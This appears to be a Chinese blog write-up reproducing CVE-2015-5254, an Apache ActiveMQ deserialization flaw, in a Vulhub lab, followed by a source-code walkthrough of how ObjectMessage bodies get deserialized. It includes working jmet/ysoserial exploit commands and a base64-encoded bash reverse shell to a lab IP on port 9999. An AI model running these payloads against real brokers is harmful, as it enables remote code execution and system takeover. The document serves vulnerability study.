Vulhub activewq_漏洞复现——源码分析
Vulhub activewq_漏洞复现——源码分析
漏洞简介
Apache ActiveMQ是由美国阿帕奇(Apache)软件基金会开发的开源消息中间件,支持Java消息服务、集群、Spring框架等。属于消息队列组件(消息队列组件:分布式系统中的重要组件,主要解决应用耦合、异步消息、流量削峰等)。
Apache Active MQ5.13.0版本之前到5.x版本的安全漏洞,该程序引起的漏洞不限制代理中可以序列化的类。远程攻击者可以制作一个特殊的序列化Java消息服务(JMS) ObjectMessage对象,利用该漏洞执行任意代码。
CVE-2015-5254
漏洞复现
运行环境
docker-compose up -d
环境运行后,将监听61616和8161两个端口。其中61616是工作端口,消息在这个端口进行传递;8161是Web管理页面端口。访问http://your-ip:8161
即可看到web管理页面
访问8161端口
在攻击机中构建攻击payload,利用jmet生成一个序列化的对象
jmet的原理是使用ysoserial生成payload并发送,所以我们需要在ysoserial是gadget中选择一个可以使用的。
1、下载jmet的jar文件,并在同目录下创建一个external文件夹
wget https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
2、给目标Activemq添加一个名为event的队列,此时就成功给服务器添加了一个“事件”
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/success" -Yp ROME your-ip 61616
我们可以通过http://your-ip:8161/admin/browse.jsp?JMSDestination=event
看到这个队列中所有消息:
点击查看这条消息即可触发命令执行,此时进入容器docker-compose exec activemq bash
,可见/tmp/hack_for_fun
已成功创建,说明漏洞利用成功
3、获取目标机系统控制权
nc监听9999端口
payload:bash -i >& /dev/tcp/172.16.135.210/9999 0>&1
对payload进行base64编码,再就是和之前一样利用jmet-0.1.0-all.jar
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xNzIuMTYuMTM1LjIxMC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -Yp ROME 172.16.135.201 61616
靶机点击之后,就会反弹shell
源码阅读
下载源码
https://archive.apache.org/dist/activemq/5.12.0/activemq-parent-5.12.0-source-release.zip
漏洞分析
在漏洞复现中,是通过点击web前端查看页面触发payload执行的,但理论上如果某个Consumer
从Broker
中读取该消息致本地,并直接或间接调用了javax.jms.ObjectMessage
实现类的getObject
方法就会导致反序列化链的除法。先根据公开的内容,攻击者将消息发送至Bocker
,党管理员点击查看消息的按钮时,触发漏洞。
根据browse.jsp
中的内容,查看页面的逻辑为于message.jsp
中
···
<tr>
<td class="layout" colspan="2">
<table id="body" width="100%">
<thead>
<tr>
<th>
Message Details
</th>
</tr>
</thead>
<tbody>
<tr>
<td><div class="message"><pre class="prettyprint"><c:out value="${requestContext.messageQuery.body}"/></pre></div></td>
</tr>
</tbody>
</table>
</td>
</tr>
···
消息的展示在此处,它从requestContext
中获取messageQuery.body
的内容,需要找到处理它的类。通过查看WEB-INF/webconsole-query.xml
中的bean
信息,找到了messageQuery
类。
messageQuery
类中的getBody
函数如下
public Object getBody() throws JMSException {
Message message = getMessage();
if (message instanceof TextMessage) {
return ((TextMessage) message).getText();
}
if (message instanceof ObjectMessage) {
try {
return ((ObjectMessage) message).getObject();
} catch (JMSException e) {
//message could not be parsed, make the reason available
return e;
}
}
if (message instanceof MapMessage) {
return createMapBody((MapMessage) message);
}
if (message instanceof BytesMessage) {
BytesMessage msg = (BytesMessage) message;
int len = (int) msg.getBodyLength();
if (len > -1) {
byte[] data = new byte[len];
msg.readBytes(data);
return new String(data);
} else {
return "";
}
}
if (message instanceof StreamMessage) {
return "StreamMessage is not viewable";
}
// unknown message type
if (message != null) {
return "Unknown message type [" + message.getClass().getName() + "] " + message;
}
return null;
}
这里如果消息类型如果是ObjectMessage
则会调用回调getBody()
,ActiveMQ
对ObjectMessage
的实现位于类org.apache.activemq.command.ActiveMQObjectMessage
。getObject()方法会调用readobject()方法中将data中的数据进行反序列化并且触发漏洞。
调用的getObject
函数如下:
public Serializable getObject() throws JMSException {
if (object == null && getContent() != null) {
try {
ByteSequence content = getContent();
InputStream is = new ByteArrayInputStream(content);
if (isCompressed()) {
is = new InflaterInputStream(is);
}
DataInputStream dataIn = new DataInputStream(is);
ClassLoadingAwareObjectInputStream objIn = new ClassLoadingAwareObjectInputStream(dataIn);
try {
object = (Serializable)objIn.readObject();
} catch (ClassNotFoundException ce) {
throw JMSExceptionSupport.create("Failed to build body from content. Serializable class not available to broker. Reason: " + ce, ce);
} finally {
dataIn.close();
}
} catch (IOException e) {
throw JMSExceptionSupport.create("Failed to build body from bytes. Reason: " + e, e);
}
}
return this.object;
}
可以看到有一个魔术方法readObject
。这里通过ClassLoadingAwareObjectInputStream
对ObjectInputStream
进行了封装,覆盖了resolveClass
和resolveProxy
,限制仅从当前线程的类加载器来加载目标类,但并没有进行类型限制。
protected Class<?> resolveClass(ObjectStreamClass classDesc) throws IOException, ClassNotFoundException {
ClassLoader cl = Thread.currentThread().getContextClassLoader();
return load(classDesc.getName(), cl, inLoader);
}
Java反序列化学习
漏洞成因
如果Java应用对用户输入的内容进行了反序列化处理,攻击者可以利用这个特性构造恶意语句,让反序列化产生非预期的对象,在产生过程中可能带来任意代码执行
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· Manus爆火,是硬核还是营销?
· 终于写完轮子一部分:tcp代理 了,记录一下
· 震惊!C++程序真的从main开始吗?99%的程序员都答错了
· 别再用vector<bool>了!Google高级工程师:这可能是STL最大的设计失误
· 单元测试从入门到精通